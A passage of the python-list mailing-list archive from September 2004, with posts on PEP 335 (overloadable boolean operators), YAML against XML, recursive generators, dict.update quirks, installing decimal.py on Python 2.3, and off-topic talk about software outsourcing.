another terrorist monstrosity. Yet, a large alliance was built, NATO was used as far as it could be stretched. the UN was in on it; and the US ended taking around half the cost and supplying a fifth of the manpower. With a similar strategy in Iraq the US could have resources left over to handle North Korea, Sudan, Sierra Leone with less expenditure than what you ended up with. I just don't get it. The stated agenda is either misstated, or grossly misimplemented. -- mrr From bvande at po-box.mcgill.ca Thu Sep 16 12:18:52 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Thu, 16 Sep 2004 12:18:52 -0400 Subject: up with PyGUI! In-Reply-To: <IWf2d.33080$D7.2368@news-server.bigpond.net.au> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <mailman.3388.1095291463.5135.python-list@python.org> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <IWf2d.33080$D7.2368@news-server.bigpond.net.au> Message-ID: <4149BCEC.8050901@po-box.mcgill.ca> Neil Hodgson said unto the world upon 2004-09-16 08:46: > Alex Martelli: > > >>Developing a tool such as, say, >>BlackAdder or WingIDE, should cost MUCH less over there, yet if sales >>are all done through the net it should not matter at all whether a tool >>is written in Brazil or Norway. >> >>Clearly it's not happening. Even third-world countries with HUGE >>presence in the IT industry, such as India, are totally concentrating on >>developing custom applications, not tools for resale via the net. As >>far as I know all commercial IDE's and other tools of that ilk come from >>Canada, the US, and the rich parts of Europe. It's a puzzlement! > > > Much of development staff at theKompany are located in Romania and > Ukraine. I've worked on development tool projects where most of the software > was developed in Egypt and India although the brand on the products appeared > USAn. > > http://linuxtoday.com/news_story.php3?ltsn=2000-10-15-012-20-PS-BZ-KE > > Neil Hi all, I don't agree with Alex that it is a puzzlement and I think that Neil's reply points the way to the answer. I think it is pretty clearly due to sentiments found on the chauvinism <----> racism continuum. I have met here in Canada more than a few manual labourers, cab drivers, etc. who hold advanced degrees from perfectly good universities which have the "misfortune" to be located somewhere "not white enough" for the degree to count. Similarly, I have seen otherwise sensible people express reservations about software because it was produced in Russia, India, or some other country insufficiently close to the "western first world". As someone outside the industry, it seems to me that custom software, being more expensive to produce per unit is the domain where the lower wages paid in, say, India, as compared to, say, Redmond or San Francisco are able to surmount the reflex to "go first world". It also seems that much of the IT outsourcing to developing nations is as much about the developing nations coders using the NA firm's name to gain "respectability" as it is about the firms using them for cheap coding. (Flame retardant -- all quoted phrases are mentioned, not endorsed.) Best to all, Brian vdB From steve at holdenweb.com Sun Sep 26 12:50:45 2004 From: steve at holdenweb.com (Steve Holden) Date: Sun, 26 Sep 2004 12:50:45 -0400 Subject: Electronic voting feasibility In-Reply-To: <mailman.3698.1095825815.5135.python-list@python.org> References: <chses7$cha@odah37.prod.google.com> <VVk0d.2788$xA1.852@newsread3.news.pas.earthlink.net> <653b7547.0409181444.41e0d131@posting.google.com> <c0mtk0ldsjhdaooegqberl5501ldh6nue2@4ax.com> <653b7547.0409201633.5216dfef@posting.google.com> <mailman.3626.1095756127.5135.python-list@python.org> <653b7547.0409211847.931e78d@posting.google.com> <mailman.3698.1095825815.5135.python-list@python.org> Message-ID: <4156F365.8020405@holdenweb.com> Andrew Durdin wrote: > On 21 Sep 2004 19:47:42 -0700, Patrick Maupin <pmaupin at speakeasy.net> wrote: > > if nitpicking['grammar']: > > > You're absolutely right -- in English just about any > > noun can be used as an adjective > > No. Both nouns and adjectives can be used as > attributive modifiers; what distinguishes them is that > adjectives are limited to that context, whereas nouns > can also be used as substantives. In English [and, particularly, in "American English"] it is just as common to see people verbing nouns as it is to see them nouning verbs. I normally interpret a disregard for the basics of English as an indication of sloppy thinking, but on the Net I try to respect the possibility that English is often not the first language of correspondents. I am also much more tolerant of rule breakage when I see evidence that the correspondent knows that the rules *are* - rules are, after all, made to be broken. I thought that "sonic cryptography" was a good enough pun to elicit a small groan. But you have to remember I'm from the scholl that believes a pun is no good enough it doesn't make at least some people groan. regards Steve From chrisks at NOSPAM.udel.edu Wed Sep 22 16:38:45 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Wed, 22 Sep 2004 20:38:45 GMT Subject: PyYaml? In-Reply-To: <Xr2dnZnd_8V3KMzcRVn-gg@giganews.com> References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <l3c3d.1327$HH5.1125@trndny05> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> <uCo3d.4230$4j1.460@trndny06> <BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net> <mailman.3590.1095709523.5135.python-list@python.org> <Xr2dnZnd_8V3KMzcRVn-gg@giganews.com> Message-ID: <ppl4d.3434$Ec4.209@trndny04> Istvan Albert wrote: > IMHO you are already too focused on some specific use cases (invoices etc) > and you'll do probably better if you'd move your entire effort > to that direction. > > What you are proposing, whitespace as a markup is not nearly as readable > as XML when the dependancy tree gets more complicated. Just because > whitespace indentation work for programming it does not mean > it works for data too. XML was designed as a general purpose method of data description, and so suffers from the requirement of having to explicitly tag everything and define the meaning of each of these tags. This introduces tremendous inefficiency, especially with large, yet even small data structures. For an example, data={'abc':[1,2,3]} (20 bytes), takes 38 bytes to store with YAML, 41 bytes to store with Pickle, and 416 bytes to store with XML (using xml_pickle module by David Mertz). I'd agree that readability is hindered by complex dependencies, but XML's overly verbose syntax is unreadable for even simple data IMHO. I've yet to find a situation where any supposedly readable format doesn't benefit from whitespace indentation or simplistic notation, two aspects YAML enjoys. data={'abc':[1,2,3]} --- abc: - 1 - 2 - 3 (dp1 S'abc' p2 (lp3 I1 aI2 aI3 as. <?xml version="1.0"?> <!DOCTYPE PyObject SYSTEM "PyObjects.dtd"> <PyObject class="XML_Pickler" id="12405096"> <attr name="stuff" type="dict" id="13060256"> <entry> <key type="string" value="abc" /> <val type="list" id="12976528"> <item type="numeric" value="1" /> <item type="numeric" value="2" /> <item type="numeric" value="3" /> </val> </entry> </attr> </PyObject> From newsgroups at jhrothjr.com Sat Sep 11 15:20:34 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Sat, 11 Sep 2004 14:20:34 -0500 Subject: PEP 335: Overloadable Boolean Operators - Official Posting References: <2qccb9Fuac61U1@uni-berlin.de> Message-ID: <10k6k1f823r64ae@news.supernews.com> It's certainly an interesting PEP. I've got some comments off the top. One is that I'm not at all certain that I like the notion of 'and' and 'or' sometimes short circuiting and sometimes not, especially since you can't reliably predict when it will and when it won't if the program is playing fast and loose with typing. A second comment is that I think you need seven slots - the 'rand2' and 'ror2' slots seem to be missing. A third comment is that I think the 'and1' and 'or1' should return either True or False, meaning 'short circuit with the current value on top of the stack', or 'continue with the evaluation with the current value on top of the stack'. I'd like to see a discussion of why this (IMO conceptually simpler) option wasn't chosen. In particular, I really don't like the idea that and1 and or1 can arbitrarily change the result of the first expression evaluation. John Roth "Greg Ewing" <greg at cosc.canterbury.ac.nz> wrote in message news:2qccb9Fuac61U1 at uni-berlin.de... > PEP: 335 > Title: Overloadable Boolean Operators > Version: $Revision: 1.2 $ > Last-Modified: $Date: 2004/09/09 14:17:17 $ > Author: Gregory Ewing <greg at cosc.canterbury.ac.nz> > Status: Draft > Type: Standards Track > Content-Type: text/x-rst > Created: 29-Aug-2004 > Python-Version: 2.4 > Post-History: 05-Sep-2004 > > > Abstract > ======== > > This PEP proposes an extension to permit objects to define their own > meanings for the boolean operators 'and', 'or' and 'not', and suggests > an efficient strategy for implementation. A prototype of this > implementation is available for download. > > > Background > ========== > > Python does not currently provide any '__xxx__' special methods > corresponding to the 'and', 'or' and 'not' boolean operators. In the > case of 'and' and 'or', the most likely reason is that these operators > have short-circuiting semantics, i.e. the second operand is not > evaluated if the result can be determined from the first operand. The > usual technique of providing special methods for these operators > therefore would not work. > > There is no such difficulty in the case of 'not', however, and it > would be straightforward to provide a special method for this > operator. The rest of this proposal will therefore concentrate mainly > on providing a way to overload 'and' and 'or'. > > > Motivation > ========== > > There are many applications in which it is natural to provide custom > meanings for Python operators, and in some of these, having boolean > operators excluded from those able to be customised can be > inconvenient. Examples include: > > 1. Numeric/Numarray, in which almost all the operators are defined on > arrays so as to perform the appropriate operation between > corresponding elements, and return an array of the results. For > consistency, one would expect a boolean operation between two > arrays to return an array of booleans, but this is not currently > possible. > > There is a precedent for an extension of this kind: comparison > operators were originally restricted to returning boolean results, > and rich comparisons were added so that comparisons of Numeric > arrays could return arrays of booleans. > > 2. A symbolic algebra system, in which a Python expression is > evaluated in an environment which results in it constructing a tree > of objects corresponding to the structure of the expression. > > 3. A relational database interface, in which a Python expression is > used to construct an SQL query. > > A workaround often suggested is to use the bitwise operators '&', '|' > and '~' in place of 'and', 'or' and 'not', but this has some > drawbacks. The precedence of these is different in relation to the > other operators, and they may already be in use for other purposes (as > in example 1). There is also the aesthetic consideration of forcing > users to use something other than the most obvious syntax for what > they are trying to express. This would be particularly acute in the > case of example 3, considering that boolean operations are a staple of > SQL queries. > > > Rationale > ========= > > The requirements for a successful solution to the problem of allowing > boolean operators to be customised are: > > 1. In the default case (where there is no customisation), the existing > short-circuiting semantics must be preserved. > > 2. There must not be any appreciable loss of speed in the default > case. > > 3. If possible, the customisation mechanism should allow the object to > provide either short-circuiting or non-short-circuiting semantics, > at its discretion. > > One obvious strategy, that has been previously suggested, is to pass > into the special method the first argument and a function for > evaluating the second argument. This would satisfy requirements 1 and > 3, but not requirement 2, since it would incur the overhead of > constructing a function object and possibly a Python function call on > every boolean operation. Therefore, it will not be considered further > here. > > The following section proposes a strategy that addresses all three > requirements. A `prototype implementation`_ of this strategy is > available for download. > > .. _prototype implementation: > http://www.cosc.canterbury.ac.nz/~greg/python/obo//Python_OBO.tar.gz > > > Specification > ============= > > Special Methods > --------------- > > At the Python level, objects may define the following special methods. > > =============== ================= ======================== > Unary Binary, phase 1 Binary, phase 2 > =============== ================= ======================== > * __not__(self) * __and1__(self) * __and2__(self, other) > * __or1__(self) * __or2__(self, other) > * __rand2__(self, other) > * __ror2__(self, other) > =============== ================= ======================== > > The __not__ method, if defined, implements the 'not' operator. If it > is not defined, or it returns NotImplemented, existing semantics are > used. > > To permit short-circuiting, processing of the 'and' and 'or' operators > is split into two phases. Phase 1 occurs after evaluation of the first > operand but before the second. If the first operand defines the > appropriate phase 1 method, it is called with the first operand as > argument. If that method can determine the result without needing the > second operand, it returns the result, and further processing is > skipped. > > If the phase 1 method determines that the second operand is needed, it > returns the special value NeedOtherOperand. This triggers the > evaluation of the second operand, and the calling of an appropriate > phase 2 method. During phase 2, the __and2__/__rand2__ and > __or2__/__ror2__ method pairs work as for other binary operators. > > Processing falls back to existing semantics if at any stage a relevant > special method is not found or returns NotImplemented. > > As a special case, if the first operand defines a phase 2 method but > no corresponding phase 1 method, the second operand is always > evaluated and the phase 2 method called. This allows an object which > does not want short-circuiting semantics to simply implement the > relevant phase 2 methods and ignore phase 1. > > > Bytecodes > --------- > > The patch adds four new bytecodes, LOGICAL_AND_1, LOGICAL_AND_2, > LOGICAL_OR_1 and LOGICAL_OR_2. As an example of their use, the > bytecode generated for an 'and' expression looks like this:: > > . > . > . > evaluate first operand > LOGICAL_AND_1 L > evaluate second operand > LOGICAL_AND_2 > L: . > . > . > > The LOGICAL_AND_1 bytecode performs phase 1 processing. If it > determines that the second operand is needed, it leaves the first > operand on the stack and continues with the following code. Otherwise > it pops the first operand, pushes the result and branches to L. > > The LOGICAL_AND_2 bytecode performs phase 2 processing, popping both > operands and pushing the result. > > > Type Slots > ---------- > > A the C level, the new special methods are manifested as five new > slots in the type object. In the patch, they are added to the > tp_as_number substructure, since this allowed making use of some > existing code for dealing with unary and binary operators. Their > existence is signalled by a new type flag, > Py_TPFLAGS_HAVE_BOOLEAN_OVERLOAD. > > The new type slots are:: > > unaryfunc nb_logical_not; > unaryfunc nb_logical_and_1; > unaryfunc nb_logical_or_1; > binaryfunc nb_logical_and_2; > binaryfunc nb_logical_or_2; > > > Python/C API Functions > ---------------------- > > There are also five new Python/C API functions corresponding to the > new operations:: > > PyObject *PyObject_LogicalNot(PyObject *); > PyObject *PyObject_LogicalAnd1(PyObject *); > PyObject *PyObject_LogicalOr1(PyObject *); > PyObject *PyObject_LogicalAnd2(PyObject *, PyObject *); > PyObject *PyObject_LogicalOr2(PyObject *, PyObject *); > > > Copyright > ========= > > This document has been placed in the public domain. > > > .. > Local Variables: > mode: indented-text > indent-tabs-mode: nil > sentence-end-double-space: t > fill-column: 70 > End: > From bokr at oz.net Sat Sep 11 00:15:32 2004 From: bokr at oz.net (Bengt Richter) Date: 11 Sep 2004 04:15:32 GMT Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <Xns955F779C04101OKB@130.133.1.4> <20040909152328.2233c917@gypsy.pfortin.com> <chqjc3$n2o$00$1@news.t-online.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> <20040910114048.4c68a21c@gypsy.pfortin.com> <1gjx7qu.1rhsiun1grmnzlN%aleaxit@yahoo.com> Message-ID: <chtu54$kgp$0$216.39.172.122@theriver.com> On Fri, 10 Sep 2004 23:39:26 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Pierre Fortin <pfortin at pfortin.com> wrote: > ... >> > > self.__dict__.update(locals()) >> > >> > Ah, sorry, my favourite idiom to avoid the boilerplate of >> > >> > def __init__(self, fee, fie, foo, fum): >> > self.fee = fee >> > self.fie = fie >> > self.foo = foo >> > self.fum = fum >> > >> > Boilerplate is bad, and I'm keen on "Once, and ONLY once!" as a >> > programming practice, so having to mention each of those names three >> > times in totally repetitive ways makes me shiver. My favourite idiom >> >> I fully agree with "once and ONLY once"... but you've pointed out that >> "not-at-all is better than once"... :^) > >Well, there is 'once' here -- the names of the attributes are listed >once, in the argument list of 'def __init__' > >> > does, per se, leave a silly self.self around (which means a silly >> > reference loop) so I should remember to 'del self.self' after it... >> >> Since "self" is a convention (could use "this"), t'would be nice if Python >> could avoid foo.foo ref. loops in a future release... > >I don't see how to do that cleanly, simply and within general rules. >"Special cases are not special enough to break the rules"... > You could use a helper function to strip out the name, which you know anyway if you know to write this.__dict__ or self.__dict__, e.g., >>> def updd(firstname, locd): ... sansfirst = locd.copy() ... del sansfirst[firstname] ... locd[firstname].__dict__.update(sansfirst) ... >>> class C(object): ... def __init__(a1,a2,a3): updd('a1',locals()) ... >>> c=C(2,3) >>> vars(c) {'a3': 3, 'a2': 2} The locd.copy etc could be replaced by not using update. Actually, you could probably inherit from a class with a metaclass that would let you write just def __init__(a1, a2, a3): pass and have all the methods' __init__s appropriately modified. BTW, do you know offhand why somedict.update(obj) seems to use obj.keys() and obj.__getitem__ if obj has object as base, but not if it has dict as base? Ran into that trying to wrap locals() to filter out self or whatever: >>> class D(dict): ... def keys(self): return [1,2,3] ... def __getitem__(self, key): return 2*key ... >>> dd = D({'a':123}) >>> dd.keys() [1, 2, 3] >>> dd[5] 10 >>> dd {'a': 123} >>> d={} >>> d.update(dd) >>> d {'a': 123} Ok, now this: >>> class E(object): ... def keys(self): return [1,2,3] ... def __getitem__(self, key): return 2*key ... def __init__(self, *a): print a ... >>> ee = E({'a':123}) ({'a': 123},) >>> ee.keys() [1, 2, 3] >>> ee[3] 6 >>> ee <__main__.E object at 0x009C72F0> >>> e={} >>> e.update(ee) >>> e {1: 2, 2: 4, 3: 6} The methods are there and do override the keys and __getitem__ of dict: >>> dd.keys(), ee.keys() ([1, 2, 3], [1, 2, 3]) >>> dd[5], ee[5] (10, 10) But that d.update(dd) doesn't match what you'd think from ---- >>> help({}.update) Help on built-in function update: update(...) D.update(E) -> None. Update D from E: for k in E.keys(): D[k] = E[k] ---- I see >>> D.mro() [<class '__main__.D'>, <type 'dict'>, <type 'object'>] >>> E.mro() [<class '__main__.E'>, <type 'object'>] Is there another method that update looks for first that serves update better than keys() and __getitem__ so it ignores the latter? Presumably a method that dict would have but not object? ISTM I recall a similar problem with some builtin functions not calling overriding subclass methods as one might expect? Regards, Bengt Richter From exarkun at divmod.com Thu Sep 2 23:33:08 2004 From: exarkun at divmod.com (Jp Calderone) Date: Thu, 02 Sep 2004 23:33:08 -0400 Subject: Recursive Generator Question In-Reply-To: <6543373d.0409021839.5caff11d@posting.google.com> References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: <4137E5F4.4050300@divmod.com> Paul Chiusano wrote: > I've been playing around with generators and have run into a > difficulty. Suppose I've defined a Node class like so: > > class Node: > def __init__(self, data=None, left=None, right=None): > self.children = [] > self.children.append(left) > self.children.append(right) > self.data = data > > def __iter__(self): return self > > def next(self): > """ Returns iteration over terminal nodes of this tree. """ > if self.data: > yield self > else: > for child in self.children: > for terminal in child: > yield terminal > > > And then suppose I create a little binary tree like so: > > a = Node('a') > b = Node('b') > c = Node('c') > d = Node('d') > ab = Node(left=a, right=b) > cd = Node(left=c, right=d) > abcd = Node(left=ab, right=cd) > > for termNodes in abcd: > print termNodes.data # gives an error > > when I do this, I get the following error: > Traceback (most recent call last): > File "C:\Documents and Settings\Paul > Chiusano\workspace\sandbox\hello.py", line 69, in ? > print termNodes.data > AttributeError: 'generator' object has no attribute 'data' > > For some reason, that iteration is returning generators instead of > leaves. Curiously, if I replace that for loop with > > for termNodes in terminals(abcd): # see definition below > print termNodes.data # no problem! > > then it actually prints out: > a > b > c > d > > Here's the definition of terminals--pretty much identical to next. > > def terminals(t): > """ Returns an iteration over the leaves of a tree, t """ > if t.data: # if I have data, then I'm a terminal node > yield t > else: > for child in t.children: > for terminal in terminals(child): > yield terminal > > Am I missing something? Or is it not possible to define recursive > generators in this way? The generators are a red herring :) Iterating over an object calls __iter__ on the object, then repeatedly calls next on the object returned by __iter__. Each object next returns is taken as a value for iteration. So, if we examine your node class, we see that when __iter__ is called, the same object is returned. When next is called on the node class, a generator is returned. Oops. Throw away your current __iter__ method and rename your next method __iter__. Now when __iter__ is called, it will return a generator, and when next is called on the generator, you will get the leaf nodes you were looking for. Jp > > Thanks, > Paul From FBatista at uniFON.com.ar Thu Sep 23 12:55:34 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 23 Sep 2004 13:55:34 -0300 Subject: How-to get decimal.py if you have Python 2.3.x Message-ID: <A128D751272CD411BC9200508BC2194D053C79CB@escpl.tcp.com.ar> How-to get decimal.py if you have Python 2.3.x ============================================== Next I'll show you how to install the decimal.py module in your Python 2.3.x. This module comes with the standard Python 2.4 and newer distributions; in these cases you don't need to download it separately. Note that decimal is not officially supported for Python 2.2 and older distributions. Downloading the necessary files ------------------------------- You can take two different ways here: download a module installer, or download the files separately. In the first case, the procedure is simple, but maybe you won't get the latest version. In the second case, the procedure has more steps but you'll be sure of getting the module latest version. Using the installer ^^^^^^^^^^^^^^^^^^^ Go to http://sourceforge.net/projects/sigefi, enter to the File Releases section and choose the package type to download: - ``decimal-x.x.win32.exe``: Windows only. - ``decimal-x.x-x.rpm``: For RPM based Linux distributions. - ``decimal-x.x.tar.gz``: The simplest and most general (should work wherever you have Python installed). In the first case, just execute the installer. In the second case, do ``rpm -i decimal-x.x-x.rpm`` as root. In the third case, also as root, unzip and untar the package, go to the created directory and execute the installer:: gunzip decimal-x.x.tar.gz tar -xf decimal-x.x.tar cd decimal-x.x python setup.py install Downloading the files separately ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The decimal module is only one file: decimal.py, which you can download from the Python CVS: http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Lib/decimal.py This file must be put in your Python installation ``site-packages`` directory (for example, in ``C:\Python23\FIXME\site-packages`` or in ``/usr/lib/python2.3/site-packages``). Note that you may need administrator privileges to put the file there. To test the installation you need additional files: test_decimal.py and the test files (inside a directory), that you can download also from the CVS: http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Lib/test/test_d ecimal.py http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Lib/test/decima ltestdata/ Checking that everything is fine -------------------------------- If you chose the third installation method, where you executed the installer you'll have a ``test`` directory. If you downloaded the files separately, you should have in a test directory the ``test_decimal.py`` file (that directory could be anyone, as you wish) and there the ``decimaltestdata`` directory. In any case, go to that test directory and execute the tests with:: python test_decimal.py You'll see a lot of messages while different module parts are tested, ending with a message similar to:: OK doctest (decimal) ... nn tests with zero failures If there's any problem with the tests, please contact the developers. Documentation ------------- Where you executed the installer you'll have a ``docs`` directory. There is the documentation in several formats: - HTML: Open the ``index.html`` file with your favorite browser. - Tex: The doc sources are in the ``libdecimal.tex`` file. The .tex file was extracted from the Python CVS, and the htmls were extracted from the on-line Python documentation (modified to get all the Decimal related links point to the downloaded files). You can also check the documentation via web at http://www.python.org/dev/doc/devel/lib/module-decimal.html. -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/99627eed/attachment.html> From pwilkinson at videotron.ca Thu Sep 2 15:41:20 2004 From: pwilkinson at videotron.ca (Peter Wilkinson) Date: Thu, 02 Sep 2004 15:41:20 -0400 Subject: Testing character files In-Reply-To: <1094153294.416994@teapot.planet.gong> References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> <1094153294.416994@teapot.planet.gong> Message-ID: <6.0.3.0.0.20040902153713.01c44dc0@mail.xbioinformatics.org> I have been parsing character files that use ASCII and unicode (utf_16) encoded. I have written a script for converting unicode to ASCII given a directory. I would like the script to test that a given file _is_ the in the 'utf_16' format before attempting to read it, i.e. it should only convert those files that are unicode. Are there any built in methods, for testing a file encoding ? Peter From martindemello at yahoo.com Thu Sep 2 05:16:19 2004 From: martindemello at yahoo.com (Martin DeMello) Date: Thu, 02 Sep 2004 09:16:19 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu> Message-ID: <DxBZc.300171$J06.183548@pd7tw2no> Christopher T King <squirrel at wpi.edu> wrote: [snip] Funniest thing I've seen all day! martin From indigo at bitglue.com Fri Sep 10 09:34:09 2004 From: indigo at bitglue.com (Phil Frost) Date: Fri, 10 Sep 2004 09:34:09 -0400 Subject: python, javascript and mysql In-Reply-To: <hMidnR_NH9PyNdzcRVn-vg@comcast.com> References: <Xns95601196933C1inderjitraiyahoocom@66.185.95.104> <hMidnR_NH9PyNdzcRVn-vg@comcast.com> Message-ID: <20040910133409.GA24262@unununium.org> Also, if you output the table as HTML and give an element an 'id' or 'name attribute, then you can find that elemente in javascript and examine its contents. Take a look at <http://devedge.netscape.com//toolbox/sidebars/2001/dom2/core.xml> for all the nifty things javascript can do with an HTML document. Also, devedge.netscape.com has much other interesting javascript on it. On Fri, Sep 10, 2004 at 08:13:24AM -0500, Larry Bates wrote: > The answer is that you can do it either way. > You can have python create JavaScript that creates > a variable (normally an array) that contains the > values and then have a JavaScript function that > builds the table via DOM or you can just create > the entire page using Python (as HTML) on the > server and send it. All depends on exactly how > the application needs to act and if you are > comfortable with JavaScript client programming. > > Larry Bates > Syscon, Inc. > > "someguy" <inderjitrai at yahoo.com> wrote in message > news:Xns95601196933C1inderjitraiyahoocom at 66.185.95.104... > > Hi all! > > I'm new to python so i'm hoping someone could help me out. I'm > > trying to use python for cgi. I have a page with pictures along the sides > > and a table in the middle. The pictures on the side change using > > javascript. What I want to do is populate that table by getting the > > records from mySql using python and then somehow populate my table on the > > page with these values. How do i pass these values from python back to > > javascript? Or do i have to generate the whole html code again in the cgi > > file? > > > > Thanks in advance From alexander.hoffmann at netgenius.de Wed Sep 8 04:01:27 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Wed, 8 Sep 2004 10:01:27 +0200 Subject: *.pyc files without using absolute path Message-ID: <200409081001.27182.alexander.hoffmann@netgenius.de> Hello, I have a project with a number of python modules, which means there are several *.py files all in the same folder /usr/local/myproject/*.py . I ran the program to test it and of course as a result the *.pyc files were created. Since everything was running fine I gave the *.pyc files (not the source) to a friend of mine. He put it in his home dir and executed the program. Then there was an error because some of the modules tried to import the others with absolute path "/usr/local/myproject/*.pyc) which did not exists on my friend's machine. To get more clarification I searched for the absolute path in my local *.pyc files (grep -a "/usr/local/myproject" *.pyc) and indeed there were a lot of matching lines. How can I make Python create *.pyc files without absolute path when all the modules (besides built-in like "string", "os" etc. ) are in the same dir ? Thanks to you ! Alex From groups.google at gnosis.cx Fri Sep 17 02:13:15 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 16 Sep 2004 23:13:15 -0700 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> Message-ID: <8cf9f521.0409162213.105d321e@posting.google.com> Bryan Olson <fakeaddress at nowhere.org> wrote in message news: > Mertz certainly is saying they are like co-routines, and he > seems to think the major difference is in the scheduler. I > think he's wrong: the key difference is switching from anywhere, > not just one-call-down. It's too bad you didn't bother to READ my article at: http://gnosis.cx/publish/programming/charming_python_b5.html This is distinct from my other article that covers "weightless threads", though there is some overlap in the concepts. While you do need a scheduler to control the branching, once you have this you get EXACTLY the same thing as coroutines in other languages. Specifically, you can branch from any generator, into the body of whatever other generator you wish. I think all the arrogant tone went so much to your head that you forgot to *think*. Yours, David... From ialbert at mailblocks.com Fri Sep 17 13:39:36 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 17 Sep 2004 13:39:36 -0400 Subject: Recommendations about xmltramp In-Reply-To: <opsehcf5d4r0m89z@fx1025> References: <opsehcf5d4r0m89z@fx1025> Message-ID: <p4CdnTzAp_HFvNbcRVn-jw@giganews.com> Jonas Hei wrote: > Can anyone elaborate/explain about scenarios in which xmltramp can > corrupt data? xmltramp is a XML data reading framework. It cannot corrupt data. It may parse it incorrectly though. Istvan. From claird at lairds.us Thu Sep 16 08:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 16 Sep 2004 12:08:05 GMT Subject: Economic considerations (was: up with PyGUI!) References: <mailman.3318.1095180577.5135.python-list@python.org> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: <f5ao12-46u.ln1@lairds.us> In article <1gk5wxv.1rnwtamytx5m5N%aleaxit at yahoo.com>, Alex Martelli <aleaxit at yahoo.com> wrote: >Jorge Godoy <godoy at ieee.org> wrote: > ... >> > On a Mac it looks like anything else does on a Mac, and >> > on Linux or Windows it (currently) looks like anything >> > else that uses Gtk. >> >> I'm not familiar with the looks on Macs... But I remember something of >> it, from the last visit to a store that has some of these here >> (I remember specially the design of the computers, the look of the >> applications seemed very interesting, but KDE is approaching it very >> fast, IMHO). > >IMNSHO, nope -- I'm quite a fan of KDE, but I discovered Macs 9 months >ago and immediately fell in love with MacOSX's "Aqua" user interface >look and feel. These days I use a Mac for everything I can possibly use >one for, even though I mostly program for Linux (and a little Windows). > >> I really would like a lot if it was possible to write >> non-GPL code with Qt (not that I'm against GPL software, but some > >It's perfectly possible: Trolltech, the authors of Qt, will be extremely >happy to sell you a commercial license of Qt so you can develop and sell >your code as closed-source or whatever. > > >> > As far as I can remember, I drew them with Appleworks 6, >> > printed them to PDF files, opened them with Preview and >> > then saved them as jpegs. (Photoshop might also have been >> > involved in there somewhere, I don't recall now.) >> >> Too bad these aren't tools available on Linux or FreeBSD... I really >> liked the way they look :-) > >Me too (well, not Photoshop, actually -- if I had to process images I >think I'd use GIMP instead), so I use them on my Mac iBook 12" laptop >(whose operating system's guts aren't all that far from FreeBSD -- >there's some Mach microkernel involved, but it's very unlikely that >could possibly be a problem -- those guts are all opensource, too, under >the name of 'Darwin'). . . . Me, too, Alex; that is, while I'm sitting in a room with, um, four x86-based hosts, and my follow-up edit image is on a Linux host a thousand kilometers away, I'm typing on a MacOS portable. I can't imagine ever again buying a Windows machine, although that's where most of my deliveries are. Something certainly is frustrating, though, at least, in regard to Apple prices in Brazil and elsewhere. I've threatened a few times to start a business importing used boxes to precisely that country. MacOS is so valuable now, and the prices for it there, specifically, so aberrant, that *something* is wrong. It sure would be a pleasure to be able to help make useful computing more affordable. I utterly agree with your comment elsewhere that a simple-minded comparative-advantage calculation calls into question the current habit that third-world body shops aspire to write custom software for the first-world rich. "One step at a time" is all I can think to say. Incidentally, my expert sources emphasize to me that GIMP still has a long way to go before it effectively rivals Photoshop. From tim.peters at gmail.com Thu Sep 2 23:35:19 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 2 Sep 2004 